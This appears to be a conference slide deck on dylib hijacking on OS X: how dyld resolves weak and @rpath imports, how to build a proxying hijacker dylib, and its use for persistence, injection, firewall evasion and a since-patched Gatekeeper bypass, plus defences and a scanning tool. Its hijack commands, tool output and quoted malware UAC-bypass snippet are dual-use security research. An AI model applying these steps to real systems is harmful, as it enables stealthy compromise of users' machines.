‘DLL Hijacking’ on OS X?

#@%& Yeah!
“leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints”

always looking for more experts!

@patrickwardle
# SOME DEFINITIONS

gotta make sure we’re all on the same page ;)

<table>
<thead>
<tr>
<th>implants</th>
<th>persistent malicious code</th>
</tr>
</thead>
<tbody>
<tr>
<td>hooking</td>
<td>intercepting function calls</td>
</tr>
<tr>
<td>trojan</td>
<td>malicious code that masquerades as legitimate</td>
</tr>
<tr>
<td>injection</td>
<td>coercing a process to load a module</td>
</tr>
<tr>
<td>backdoor</td>
<td>remotely accessible means of providing secret control of device</td>
</tr>
</tbody>
</table>
OUTLINE
what we'll be covering

- History of dll hijacking
- Dylib hijacking
- Attacks & defenses
- Loader/linker features
- Finding ‘hijackables’
- Hijacking

Synack
HISTORY OF DLL HIJACKING
... on windows
**DLL Hijacking (Windows)**

**an overview**

“an attack that exploits the way some Windows applications **search and load** Dynamic Link Libraries (DLLs)”

**definition**

“binary planting”
“insecure library loading”
“dll loading hijacking”
“dll preloading attack”

**other names**

"I need <blah>.dll"

**Diagram:**

- **EXE**
- **cwd**
- **<blah>.dll**
- **Windows**

"<blah>.dll"
DLL Hijacking Attacks

providing a variety of attack scenarios

- vulnerable binary
- persistence
- process injection
- escalation of privileges (uac bypass)
- ‘remote’ infection
DLL Hijacking Attacks
in the wild

“we had a plump stack of malware samples in our library that all had this name (fxsst.dll) and were completely unrelated to each other” - Mandiant

```c
// paths to abuse
char* uacTargetDir[] = {"system32\sysprep", "ehome"};
char* uacTargetApp[] = {"sysprep.exe", "mcx2prov.exe");
char* uacTargetDll[] = {"cryptbase.dll", "CRYPTSP.dll"};

// execute vulnerable application & perform DLL hijacking attack
if(Exec(&exitCode, "cmd.exe /C %s", targetPath))
{
    if(exitCode == UAC_BYPASS_MAGIC_RETURN_CODE)
        DBG("UAC BYPASS SUCCESS")
...
```

bypassing UAC (carberp, blackbeard, etc.)
**DLL Hijacking**

The current state of affairs

- Fully qualified paths: `C:\Windows\system32\blah.dll`
- SafeDllSearchMode & CWDIllegalInDllSearch

---

“Any OS which allows for dynamic linking of external libraries is theoretically vulnerable to [dll hijacking]”

-Marc B (stackoverflow.com)

---

M$oft Security Advisory 2269637 & ‘Dynamic-Link Library Security’ doc

MS15-069

- dylib hijacking (OS X)
- 7/2015
- today

---

2010
DYLIB HIJACKING
...on OS X
**The Rise of Macs**

Macs are everywhere (home & enterprise)

#3 USA / #5 worldwide vendor in PC shipments

"Mac notebook sales have grown 21% over the last year, while total industry sales have fallen" - Apple (3/2015)
Mach object file format (or 'Mach-O') is OS X's native file format for executables, shared libraries, dynamically-loaded code, etc.

Also known as dynamic shared libraries, shared objects, or dynamically linked libraries, dylibs are simply libraries intended for dynamic linking.

Load commands specify the layout and linkage characteristics of the binary (memory layout, initial execution state of the main thread, names of dependent dylibs, etc).
LOAD COMMANDS
instructions to the loader (including required libraries)

$otool -l /Applications/Calculator.app/Contents/MacOS/Calculator
...
Load command 12
  cmd LC_LOAD_DYLIB
  cmdsize 88
  name /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa
  time stamp 2 Wed Dec 31 14:00:02 1969
  current version 21.0.0
  compatibility version 1.0.0

dumping load commands
dylib specific load commands

```c
struct dylib_command {
    uint32_t cmd; /* LC_ID_DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */
    uint32_t cmdsize; /* includes pathname string */
    struct dylib dylib; /* the library identification */
};
```

```c
struct dyld_command
```

```c
struct dylib {
    union lc_str name; /* library's path name */
    uint32_t timestamp; /* library's build time stamp */
    uint32_t current_version; /* library's current vers number */
    uint32_t compatibility_version; /* library's compatibility vers number*/
};
```

used to find & uniquely ID the library
Dylib Hijacking Attacks

the idea is simple

plant a malicious dynamic library such that the dynamic loader will automatically load it into a vulnerable application

no other system modifications
- no patching binaries
- no editing config files

independent of users’ environment
- $PATH, (/etc/paths)
- DYLD_*

constraints
**DYLIB HIJACKING ATTACKS**

abusing for malicious purposes ;)

just like dll hijacking on windows!

vulnerable binary

persistence

process injection

security product bypass

‘remote’ infection
OS X’s Dynamic Loader/Linker

a conceptual overview of dyld

$ file /usr/lib/dyld
/usr/lib/dyld (for architecture x86_64): Mach-O 64-bit dynamic linker x86_64
/usr/lib/dyld (for architecture i386): Mach-O dynamic linker i386

/usr/lib/dyld

__dyld_start

find
load
link
dynamic libraries (dylibs)
OS X’s Dynamic Loader/Linker

a (very) brief walk-thru

1. dyldStartup.s/__dyld_start
   sets up stack & jumps to
   dyldbootstrap::start() which
   calls _main()

2. dyld.cpp/_main()
   calls link(ptrMainExe), calls
   image->link()

3. ImageLoader.cpp/link()
   calls ImageLoader::
   recursiveLoadLibraries()

4. ImageLoader.cpp/
   recursiveLoadLibraries()
   gets dependent libraries, calls
   context.loadLibrary() on each

5. dyld.cpp/load()
   calls loadPhase0() which calls,
   loadPhase1()… until loadPhase6()

6. dyld.cpp/loadPhase6()
   maps in file then calls
   ImageLoaderMachO::instantiateFromFile()
Let the Hunt Begin
again, a simple idea

is there code in dyld that:

🔗 doesn’t error out if a dylib isn’t found?
🔗 looks for dylibs in multiple locations?

if the answer is 'YES' to either question, it's theoretically possible that binaries on OS X could be vulnerable to a dylib hijacking attack!
Allowing a dylib load to fail: are missing dylibs are ok?

```cpp
// attempt to load all required dylibs
void ImageLoader::recursiveLoadLibraries(...) {

    // get list of libraries this image needs
    DependentLibraryInfo libraryInfos[fLibraryCount];
    this->doGetDependentLibraries(libraryInfos);

    // try to load each each
    for(unsigned int i=0; i < fLibraryCount; ++i) {

        // load
        try {
            dependentLib = context.loadLibrary(libraryInfos[i], ...);
            ...
        } catch(const char* msg) {

            if(requiredLibInfo.required)
                throw dyld::mkstringf("Library not loaded: %s
Referenced from: %s
Reason: %s",
                requiredLibInfo.name, this->getRealPath(), msg);

            // ok if weak library not found
            dependentLib = NULL;
        }
    }
}
```

Error logic for missing dylibs
where is the 'required' variable set?

```c
// get all libraries required by the image
void ImageLoaderMachO::doGetDependentLibraries(DependentLibraryInfo libs[]){

  // get list of libraries this image needs
  const uint32_t cmd_count = ((macho_header*)fMachOData)->ncmds;
  const struct load_command* const cmds = (struct load_command*)&fMachOData[sizeof(macho_header)];
  const struct load_command* cmd = cmds;

  // iterate over all load commands
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_LOAD_DYLIB:
      case LC_LOAD_WEAK_DYLIB:
        ...

        // set required variable
        (&libs[index++])->required = (cmd->cmd != LC_LOAD_WEAK_DYLIB);

        break;
    }

    // go to next load command
    cmd = (const struct load_command*)((char*)cmd+cmd->cmdsize);
  }
}
```

**LC_LOAD_WEAK_DYLIB:** weak 'import' (not required)

ImageLoaderMachO.cpp

setting the 'required' variable
**Hijack 0x1: LC_LOAD_WEAK_DYLIB**

Binaries that import weak dylibs can be hijacked.

- **find/load**: `<blah>.dylib`
- **LC_LOAD_WEAK_DYLIB**: `/usr/lib/<blah>.dylib`

Weak request, so 'not-found' is ok!

**LC_LOAD_WEAK_DYLIB**: `/usr/lib/<blah>.dylib`

- **find/load**: `<blah>.dylib`
- **not found!**

Hijacker can replace `<blah>.dylib` with malicious content!
looking for dylibs in multiple locations

```cpp
// substitute @rpath with all -rpath paths up the load chain
for(const ImageLoader::RPathChain* rp=context.rpath; rp != NULL; rp=rp->next){
    // try each rpath
    for(std::vector<const char*>::iterator it=rp->paths->begin(); it != rp->paths->end(); ++it){
        // build full path from current rpath
        char newPath[strlen(*it) + strlen(trailingPath)+2];
        strcpy(newPath, *it);
        strcat(newPath, "/");
        strcat(newPath, trailingPath);

        // TRY TO LOAD
        // - > if this fails, will attempt next variation!!
        image = loadPhase4(newPath, orgPath, context, exceptions);
        if(image != NULL)
            dyld::log("RPATH successful expansion of %s to: %s\n", orgPath, newPath);
        else
            dyld::log("RPATH failed to expanding %s to: %s\n", orgPath, newPath);

        // if found/load image, return it
        if(image != NULL)
            return image;
    }
}
```

doing dylibs from various locations
WTF ARE @RPATHS?
...a special keyword for the loader/linker

introduced in OS X 10.5 (leopard)

“A run-path dependent library is a dependent library whose complete install name (path) is not known when the library is created....

To use run-path dependent libraries, an executable provides a list of run-path search paths, which the dynamic loader traverses at load time to find the libraries.” -apple

"ohhh, so dyld will look for the dylib in multiple locations?!?"

"Breaking the links: exploiting the linker"
Tim Brown (@timb_machine)
AN EXAMPLE
a run-path dependent library

compiled run-path dependent library

set install dir to '@rpath'

$ otool -l rpathLib.framework/Versions/A/rpathLib
Load command 3
  cmd LC_ID_DYLIB
cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
time stamp 1 Wed Dec 31 14:00:01 1969
current version 1.0.0
compatibility version 1.0.0
**AN EXAMPLE**

an app that links against an `@rpath`'d dylib

---

1. **dylib dependency**
   - the “run-path dependent library(s)"
     - `LC_LOAD*_DYLIB LC(s) containing "@rpath" in the dylib path -> tells dyld to “to search a list of paths in order to locate the dylib"

2. **specifying ‘RunPath Search Paths’**
   - the list of “run-path search paths”
     - `LC_RPATH LCs containing the run-time paths which at runtime, replace "@rpath"`
RUN-PATH DEPENDENT LIBRARIES

LC_LOAD_DYLIB load commands prefixed with '@rpath'

```
$ otool -l rPathApp.app/Contents/MacOS/rPathApp
Load command 12
  cmd LC_LOAD_DYLIB
  cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
  time stamp 2 Wed Dec 31 14:00:02 1969
  current version 1.0.0
  compatibility version 1.0.0
```

an application linked against an @rpath import

“hey dyld, I depend on the rpathLib dylib, but when built, I didn’t know exactly where it would be installed. Please use my embedded run-path search paths to find & load it!”

-the executable
**RUN-PATH SEARCH PATH(S)**

**LC_RPATH** load commands containing the run-path search paths

```bash
$ otool -l rPathApp.app/Contents/MacOS/rPathApp
Load command 18
  cmd  LC_RPATH
  cmdsize 64
  path  /Applications/rPathApp.app/Contents/Library/One
Load command 19
  cmd  LC_RPATH
  cmdsize 64
  path  /Applications/rPathApp.app/Contents/Library/Two
```

one for each search directory

embedded **LC_PATH** commands

```c
struct rpath_command {
    uint32_t cmd; /* LC_RPATH */
    uint32_t cmdsize; /* includes string */
    union lc_str path; /* path to add to run path */
};
```

```c
struct dyld_command (LC_RPATH LC)
```
DYLD AND THE ‘RUN-PATH’ SEARCH PATH(S)
how the linker/loader interacts with LC_RPATH load commands

void ImageLoader::recursiveLoadLibraries(...){
    //get list of rpaths that this image adds
    std::vector<const char*> rpathsFromThisImage;
    this->getRPaths(context, rpathsFromThisImage);
}

invoking getRPaths() to parse all LC_RPATHs

void ImageLoaderMachO::getRPaths(..., std::vector<const char*>& paths){
    //iterate over all load commands
    // -> look for LC_RPATH and save their path's
    for(uint32_t i = 0; i < cmd_count; ++i){
        switch(cmd->cmd){
            case LC_RPATH:
                //save 'run-path' search path
                paths.push_back((char*)cmd + ((struct rpath_command*)cmd)->path.offset);
                //keep scanning load commands...
                cmd = (const struct load_command*)((char*)cmd+cmd->cmdsize);
        }
    }
}

saving all "run-path search paths"
**DYLD & '@rpath'**
dealing with **LC_LOAD_DYLIBs** that contain '@rpath'

```cpp
//expand '@rpaths'
static ImageLoader* loadPhase3(...) {

//replace 'rpath' with all resolved run-path search paths & try load
else if(context.implicitRPath || (strncmp(path, "@rpath/", 7) == 0)) {

//get part of path after '@rpath/
const char* trailingPath = (strncmp(path, "@rpath/", 7) == 0) ? &path[7] : path;

//substitute @rpath with all -rpath paths up the load chain
for(std::vector<const char*>::iterator it = rp->paths->begin(); it != rp->paths->end(); ++it) {

    //build full path from current rpath
    char newPath[strlen(*it) + strlen(trailingPath)+2];
    strcpy(newPath, *it);
    strcat(newPath, "/");
    strcat(newPath, trailingPath);

    //TRY TO LOAD
    image = loadPhase4(newPath, orgPath, context, exceptions);

    //if found/loaded image, return it
    if(image != NULL)
        return image;
}
}
//try all run-path search paths
```
**Hijack 0x2: LC_LOAD_DYLIB + LC_RPATHs**

'@rpath' imports not found in the primary search directory

**LC_LOAD_DYLIB:**
```
@rpath/<blah>.dylib
```

**LC_RPATH:**
```
/Applications/blah.app/Library
/System/Library
```

Resolved paths:
```
1/ Applications/blah.app/ Library/blah.dylib
2/ System/Library/blah.dylib
```

find/load `<blah>.dylib`

Resolved paths:
```
/Applications/blah.app/Library
/System/Library
```

`<blah>.dylib`

Resolved paths:
```
/Applications/blah.app/Library
/System/Library
```
DYLIB HIJACKING AN OS X BINARY possible, given either of the following conditions!

1. contains a `LC_LOAD_WEAK_DYLIB` load command that references a non-existent dylib

2. contains multiple `LC_RPATH` load commands (i.e. run-path search paths) + contains a `LC_LOAD*__DYLIB` load command with a run-path dependent library (`@rpath`) not found in a primary run-path search path
EXAMPLE TARGET

hijacking the sample binary (rPathApp)

```
$ export DYLD_PRINT_RPATHS="1"
$ /Applications/rPathApp.app/Contents/MacOS/rPathApp

RPATH failed to expanding @rpath/rpathLib.framework/Versions/A/rpathLib
to: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib
to: /Applications/rPathApp.app/Contents/MacOS/../Library/Two/rpathLib.framework/Versions/A/rpathLib
```

confirm the vulnerability

1. /Applications/rPathApp.app/Contents/Library/One/...
2. /Applications/rPathApp.app/Contents/Library/Two/...
**HIJACK ATTEMPT OX1**

place dylib into the primary search location

```
__attribute__((constructor))
void customConstructor(int argc, const char **argv)
{
    //dbg msg
    syslog(LOG_ERR, "hijacker loaded in %s\n", argv[0]);
}
```

'malicious' dylib

dylib's 'payload'

```
$ /Applications/rPathApp.app/Contents/MacOS/rPathApp

RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib
to: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

dyld: Library not loaded: @rpath/rpathLib.framework/Versions/A/rpathLib
    Referenced from: /Applications/rPathApp.app/Contents/MacOS/rPathApp
    Reason: Incompatible library version: rPathApp requires version 1.0.0 or later,
    but rpathLib provides version 0.0.0

Trace/BPT trap: 5

success :) then fail :(  
```
**DYLIB VERSIONING**

**dyld** checks version numbers

ImageLoader.cpp

```c
ImageLoader::recursiveLoadLibraries(...)
  
  LibraryInfo actualInfo = dependentLib->doGetLibraryInfo();

  // compare version numbers
  if(actualInfo.minVersion < requiredLibInfo.info.minVersion)
    
    // record values for use by CrashReporter or Finder
    
    dyld::throwf("Incompatible library version: ....");
```

ImageLoaderMachO.cpp

```c
ImageLoaderMachO::doGetLibraryInfo() {

  LibraryInfo info;

  const dylib_command* dylibID = (dylib_command*)
  (&fMachOData[fDylibIDOffset]);

  // extract version info from LC_ID_DYLIB
  info.minVersion = dylibID->dylib.compatiblity_version;
  info.maxVersion = dylibID->dylib.current_version;

  return info
```

```
$ otool -l rPathApp
Load command 12
  cmd LC_LOAD_DYLIB
  cmdsize 72
  name ... rpathLib
  current_version 1.0.0
  compatibility_version 1.0.0
```

```
$ otool -l rPathLib
Load command 12
  cmd LC_ID_DYLIB
  cmdsize 72
  name ... rpathLib
  current_version 0.0.0
  compatibility_version 0.0.0
```

versioning mismatch

hijacker dylib

target (legit) dylib
Hijack Attempt 0x2

Compatible version numbers/symbol fail

Setting version numbers

Success :) then fail :(

```
$ /Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib to: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

dyld: Symbol not found: _OBJC_CLASS_$_SomeObject
Referenced from: /Applications/rPathApp.app/Contents/MacOS/rPathApp
Expected in: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

Trace/BPT trap: 5
```
SOLVING THE EXPORTS ISSUE

hijacker dylib must export the expected symbols

exports from legit dylib

sure we could get the hijacker to directly export all the same symbols from the original...but it'd be more elegant to have it re-export them, forwarding ('proxying') everything on to the original dylib!
**RE-EXPORTING SYMBOLS**

telling the `dyld` where to find the required symbols

```bash
$ otool -l rPathLib
Load command 9
  cmd  LC_REEXPORT_DYLIB
  cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
```

**LC_REEXPORT_DYLIB load command**

```bash
-Xlinker -reexport_library <path to legit dylib>
```

**ld cannot link if target dylib falls within an umbrella framework**
RE-EXPORTING SYMBOLS

fix with `install_name_tool`

```
install_name_tool -change
<existing value of LC_REEXPORT_DYLIB>
<new value for to LC_REEXPORT_DYLIB (e.g target dylib)>
<path to dylib to update>
```

```
$ install_name_tool -change @rpath/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib

$ otool -l Library/One/rpathLib.framework/Versions/A/rpathlib
Load command 9
  cmd  LC_REEXPORT_DYLIB
  cmdsize 112
  name /Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/
```

fixing the target of the re-exported

updates the name in LC_REEXPORT_DYLIB
**HIJACK SUCCESS!**

all your base are belong to us :)

![Hijacked app](image)

**hijacker's 'payload'**

```
$ lsof -p 29593
COMMAND   NAME
rPathApp  /Users/patrick
rPathApp  /Applications/rPathApp.app/Contents/MacOS/rPathApp
rPathApp  /Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib
rPathApp  /Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
```

hijacked loaded into app's process space

**app runs fine!**
ATTACKS & DEFENSE
impacts of hijacks
AUTOMATION
finding vulnerable binaries

1. **LC_LOAD_WEAK_DYLIB** that reference a non-existent dylib

2. **LC_LOAD*__DYLIB** with @rpath'd import & multiple **LC_RPATHs** with the run-path dependent library not found in a primary run-path search path

```python
$ python dylibHijackScanner.py

getting list of all executable files on system
will scan for multiple LC_RPATHs and LC_LOAD_WEAK_DYLIBs

found 91 binaries vulnerable to multiple rpaths
found 53 binaries vulnerable to weak dylibs

rPathApp.app has multiple rpaths (dylib not in primary directory)
({
  'binary': '/rPathApp.app/Contents/MacOS/rPathApp',
  'importedDylib': '/rpathLib.framework/Versions/A/rpathLib',
  'LC_RPATH': 'rPathApp.app/Contents/Library/One'
})
```

automated vulnerability detection
Automation Findings

You might have heard of these guys?

Apple
- iCloud Photos
- Xcode
- iMovie (plugins)
- Quicktime (plugins)

Microsoft
- Word
- Excel
- Powerpoint
- Upload Center

Others
- Google (drive)
- Adobe (plugins)
- GPG Tools
- DropBox

Results: only from one scan (my box)
AUTOMATION

Tool to create compatible hijackers

1. Extract target dylib's version numbers and patch them into hijacker
2. Re-export ('forward') exports by executing `install_name_tool` to update `LC_REEXPORT_DYLIB` in the hijacker to reference target dylib

```
$ python createHijacker.py Products/Debug/libhijack.dylib /Applications/rPathApp.app/
Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib

hijacker dylib: libhijack.dylib
Target (existing) dylib: rpathLib

[+] Parsing 'rpathLib' to extract version info
[+] Parsing 'libhijack.dylib' to find version info
  Updating version info in libhijack.dylib to match rpathLib

[+] Parsing 'libhijack.dylib' to extract faux re-export info
  Updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change

Configured libhijack.dylib (renamed to: rpathLib) as compatible hijacker for rpathLib
```
GAINING PERSISTENCE

ideal for a variety of reasons...

the goal

- gain automatic & persistent code execution whenever the OS restarts/the user logs only via a dynamic library hijack

- no binary / OS file modifications
- no new processes
- hosted within a trusted process
- abuses legitimate functionality
GAINING PERSISTENCE via Apple's PhotoStreamAgent ('iCloudPhotos.app')

$ python dylibHijackScanner.py

PhotoStreamAgent is vulnerable (multiple rpaths)
'binary': '/Applications/iPhoto.app/Contents/Library/LoginItems/
  PhotoStreamAgent.app/Contents/MacOS/PhotoStreamAgent'
'importedDylib': '/PhotoFoundation.framework/Versions/A/PhotoFoundation'
'LC_RPATH': '/Applications/iPhoto.app/Contents/Library/LoginItems'

1. configure hijacker against PhotoFoundation (dylib)
2. copy to /Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/
   Versions/A/PhotoFoundation

$ reboot
$ lsof -p <pid of PhotoStreamAgent>
/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation
/Applications/iPhoto.app/Contents/Frameworks/PhotoFoundation.framework/Versions/A/PhotoFoundation
PROCESS INJECTION ('LOAD TIME')
ideal for a variety of reasons...

- gain automatic & persistent code execution within a process **only** via a dynamic library hijack

- no binary / OS file modifications

- no complex runtime injection

- no process monitoring

- no detection of injection
GAINING PROCESS INJECTION
via Apple's Xcode

$ python dylibHijackScanner.py

Xcode is vulnerable (multiple rpaths)
'binary': '/Applications/Xcode.app/Contents/MacOS/Xcode'
'importedDylib': '/DVTFoundation.framework/Versions/A/DVTFoundation'
'LC_RPATH': '/Applications/Xcode.app/Contents/Frameworks'

1. configure hijacker against DVTFoundation (dylib)
2. copy to /Applications/Xcode.app/Contents/Frameworks/DVTFoundation.framework/Versions/A/

do you trust your compiler now!? (k thompson)
**Bypassing Personal Security Products**

ideal for a variety of reasons...

Gain automatic code execution within a trusted process *only* via a dynamic library hijack to perform some previously disallowed action.

- **The goal**
- **Gain automatic code execution**
  - within a trusted process
  - only via a dynamic library hijack

- **Benefits**
  - **No binary / OS file modifications**
  - **Hosted within a trusted process**
  - **Novel technique**
  - **Abuses legitimate functionality**
BYPASSING PERSONAL SECURITY PRODUCTS
become invisible to LittleSnitch via GPG Tools

$ python dylibHijackScanner.py

GPG Keychain is vulnerable (weak/rpath'd dylib)
'binary': '/Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain'
'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks'

GPG Keychain

LittleSnitch rule for GPG Keychain

got 99 problems but LittleSnitch ain't one ;)

GPG Keychain: hijacked dylib loaded in /Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain (85436)
GPG Keychain: attempting to get data from http://www.google.com
GPG Keychain: got response: <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for." />...
'REMOTE' (NON-LOCAL) ATTACK
bypassing Gatekeeper

circumvent gatekeeper's draconic blockage via a dynamic library hijack

can we bypass this (unsigned code to run)?
gatekeeper in action
gatekeeper is an anti-malware feature of the OS X operating system. It allows users to restrict which sources they can install applications from, in order to reduce the likelihood of executing a Trojan horse.
**Gatekeeper Bypass**
go home gatekeeper, you are drunk!

Gatekeeper *only* verifies the app bundle!!

1. find an *app*-signed or 'mac app store' app that contains an **external relative reference** to a hijackable dylib
2. create a .dmg with the necessary folder structure to contain the malicious dylib in the **externally** referenced location
3. #winning
GATEKEEPER BYPASS

1) a signed app that contains an external reference to hijackable dylib

```
$ spctl -vat execute /Applications/Xcode.app/Contents/Applications/Instruments.app
Instruments.app: accepted
source=Apple System
```

```
$ otool -l Instruments.app/Contents/MacOS/Instruments

Load command 16
  cmd LC_LOAD_WEAK_DYLIB
  name @rpath/CoreSimulator.framework/Versions/A/CoreSimulator

Load command 30
  cmd LC_RPATH
  path @executable_path/../ ../../SharedFrameworks
```

**Instruments.app** - fit's the bill
GATEKEEPER BYPASS

2) create a .dmg with the necessary layout

required directory structure

'clean up' the .dmg
- hide files/folder
- set top-level alias to app
- change icon & background
- make read-only

(deployable) malicious .dmg
3) #winning

Gatekeeper Bypass

Allow apps downloaded from:
- Mac App Store
- Mac App Store and identified developers
- Anywhere

gatekeeper setting's (maximum)

unsigned (non-Mac App Store) code execution!!

standard alert

CVE 2015-3715 patched in OS X 10.10.4

gatekeeper bypass :)

Instruments: loaded as a hijacked dylib in process 24718
Instruments: loaded as a hijacked dylib in process /Volumes/unsafe/Applications/Instruments.app/Contents/MacOS/Instruments
GATEKEEPER BYPASS

low-tech abuse cases

fake codecs

fake installers/updates

why gatekeeper was born

infected torrents

"[there were over] sixty thousand calls to AppleCare technical support about Mac Defender-related issues" - Sophos
Gatekeeper Bypass
what you really need to worry about :/

Mac App Store not vulnerable

MitM & infect insecure downloads

HTTP (Mac App Store not vulnerable)

my dock
these should be secure, right!?

all the security software I could find, was downloaded over HTTP!

<table>
<thead>
<tr>
<th>Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>avast_free_mac_security.dmg</td>
</tr>
<tr>
<td><a href="http://download.ff.avast.com/mac/avast_free_mac_security.dmg">http://download.ff.avast.com/mac/avast_free_mac_security.dmg</a></td>
</tr>
<tr>
<td>bitdefender_antivirus_for_mac.dmg</td>
</tr>
<tr>
<td>F-Secure-Anti-Virus-for-Mac_JDCQ-VPGB-RYPY-QQYW-6MY2_.(1).mpkg</td>
</tr>
<tr>
<td><a href="http://download.sp.f-secure.com/SE/Retail/Installer/F-Secure-Anti-Virus-for-Mac.dmg">http://download.sp.f-secure.com/SE/Retail/Installer/F-Secure-Anti-Virus-for-Mac.dmg</a></td>
</tr>
<tr>
<td>LittleSnitch-3.5.1.dmg</td>
</tr>
<tr>
<td><a href="http://www.obdev.at/ftp/pub/Products/littlesnitch/LittleSnitch-3.5.1.dmg">http://www.obdev.at/ftp/pub/Products/littlesnitch/LittleSnitch-3.5.1.dmg</a></td>
</tr>
<tr>
<td>savosx_he.zip</td>
</tr>
<tr>
<td><a href="http://downloads.sophos.com/inst">http://downloads.sophos.com/inst</a> HOME edition/b6H60q26VY6ZwjtzsZ9aqgZD0...</td>
</tr>
<tr>
<td>eset Cybersecurity_en.dmg</td>
</tr>
<tr>
<td><a href="http://download.eset.com/download/mac/ecs/eset_cybersecurity_en.dmg">http://download.eset.com/download/mac/ecs/eset_cybersecurity_en.dmg</a></td>
</tr>
<tr>
<td>Internet_Security_X8.dmg</td>
</tr>
<tr>
<td>TrendMicro_MAC_5.0.1149_US-en_Trial.dmg</td>
</tr>
<tr>
<td><a href="http://trial.trendmicro.com/US/TSM/2015/TrendMicro_MAC_5.0.1149_US-en_Trial">http://trial.trendmicro.com/US/TSM/2015/TrendMicro_MAC_5.0.1149_US-en_Trial</a>...</td>
</tr>
<tr>
<td>NortonSecurity,EnglishTrial.zip</td>
</tr>
<tr>
<td><a href="http://buy-download.norton.com/downloads/2015/NISNAVMAC/6.1/NortonSecurity">http://buy-download.norton.com/downloads/2015/NISNAVMAC/6.1/NortonSecurity</a>...</td>
</tr>
<tr>
<td>ksm15_0_0_226a_ml_en_022.dmg</td>
</tr>
<tr>
<td><a href="http://downloads-am.kasperskyamericas.com/files/main/en/ksm15_0_0_226a_ml">http://downloads-am.kasperskyamericas.com/files/main/en/ksm15_0_0_226a_ml</a>...</td>
</tr>
</tbody>
</table>
END-TO-END ATTACK
putting the pieces all together

1. **persist**
   persistently install a malicious dylib as a hijacker

2. **exfil file**
   upload a file ('topSecret') to a remote iCloud account

3. **download & execute cmd**
   download and run a command ('Calculator.app')

no-r00t to install/run!
PSP TESTING
the OS 'security' industry vs me ;)

- persist
- exfil file
- download & execute cmd

are any of these malicious actions blocked?

OS X 'security' products

- Avira
- ClamXav
- intego
- Norton by Symantec
- Kaspersky
- Sophos
- Bitdefender
- F-Secure
- LittleSnitch
- Trend Micro
IT'S ALL BUSTED....FIXES?
what can be done to fix this mess

1. Dylib Hijacking Fix?
   - abuses a legit OS feature, so unlikely to be fixed...
   - only allow signed dylibs?

2. Gatekeeper Bypass Fix
   - disallow external dependencies?

3. MitM Fix
   - only download software over secure channels (HTTPS, etc)

CVE 2015-3715 patched in OS X 10.10.4
still 'broken' ;)

Dylib Hijacking Fix?
Gatekeeper Bypass Fix
MitM Fix
**El Capitan (OS X 10.11)**

next version of OS X will keep us all safe...right!?

"rootless"

System Integrity Protection

"A new security policy that applies to every running process. Code injection and runtime attachments to system binaries are no longer permitted." - apple.com

"o rly?!"

persistent dylib hijacking airportd OS X 10.11

loaded in airportd
but am I vulnerable? am I owned?

Dylib Hijack Scanner

free at objective-see.com

Hijacked Applications

Vulnerable Applications

Dylib Hijack Scanner (DHS)
OBJECTIVE-SEE
free OS X tools (such as DHS) & malware samples

"providing visibility to the core"

KnockKnock  TaskExplorer  BlockBlock
CONCLUSIONS

...wrapping this up

New

powerful stealthy new class of attack

affects apple & 3rd party apps

abuses legitimate functionality

no binary / OS file modifications

New

File

Scan your system

users

don't give your $ to the AV companies

download software over HTTPS

File

process injection

security product bypass

File

'remote' infection

File

persistence
Questions & Answers
feel free to contact me any time!

What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?

-DJ-2000, reddit.com

final thought ;)

"What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?" -DJ-2000, reddit.com
credits

- thezooom.com
- deviantart.com (FreshFarhan)
- iconmonstr.com
- flaticon.com

- "Breaking the links: exploiting the linker" (Tim Brown)